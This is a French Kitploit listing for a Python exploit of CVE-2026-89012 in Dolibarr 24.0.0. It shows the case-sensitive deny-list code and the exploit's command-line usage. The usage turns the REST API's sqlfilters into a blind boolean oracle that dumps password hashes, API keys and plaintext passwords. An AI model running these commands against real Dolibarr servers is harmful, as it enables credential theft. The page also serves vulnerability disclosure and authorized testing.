Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-89012 — Exploit Python pour CVE-2026-89012, un contournement de la liste de refus des filtres SQL de Dolibarr qui utilise un oracle booléen aveugle pour extraire les hachages de mots de passe et les clés API via l'API REST. | Kitploit
Outils/GitHubGitHub/faceless0x7/cve-2026-89012
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'IntrusionSécurité des API
GitHubfaceless0x7/cve-2026-89012

CVE-2026-89012

Exploit Python pour CVE-2026-89012, un contournement de la liste de refus des filtres SQL de Dolibarr qui utilise un oracle booléen aveugle pour extraire les hachages de mots de passe et les clés API via l'API REST.

1il y a 16h 7mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-89012 — Contournement de la liste de refus du filtre SQL de Dolibarr

Exploit pour CVE-2026-89012 : la liste de refus des champs interdits dans forgeSQLFromUniversalSearchCriteria() (introduite avec le correctif CVE-2026-71510) utilise un in_array() sensible à la casse alors que le jeu de caractères des opérandes autorise A-Z. Comme la résolution des colonnes SQL est insensible à la casse, un utilisateur API authentifié peut interroger t.PASS_CRYPTED au lieu de t.pass_crypted et contourner la liste de refus. Les prédicats LIKE en préfixe transforment sqlfilters en un oracle booléen aveugle qui récupère les hachages de mots de passe caractère par caractère.

Enregistrement : https://www.cve.org/CVERecord?id=CVE-2026-89012

Cause racine

root@kitploit:~
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) {  // case-sensitive
    return '1=1';
}

Utilisation

root@kitploit:~
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check

# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users

# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump

# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex

Bibliothèque standard uniquement (Python 3.8+). Prend en charge --proxy, --insecure, --timeout.

Remarque : sous un collationnement insensible à la casse (celui par défaut), la valeur bcrypt est récupérée exactement à la casse des caractères près ; les colonnes en clair (llx_adherent.pass via /api/index.php/members, pass_temp) sont récupérées octet par octet.

demo

Références

  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-89012
  • Version corrigée : https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
  • Commit du correctif : https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8

Avertissement

Pour les tests et la recherche autorisés uniquement. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.

Télécharger l’outil
AffectéDolibarr 24.0.0
Corrigé24.0.1
Prérequisjeton API valide avec users->lire
Impactdivulgation de pass_crypted, api_key, pass, pass_temp, openid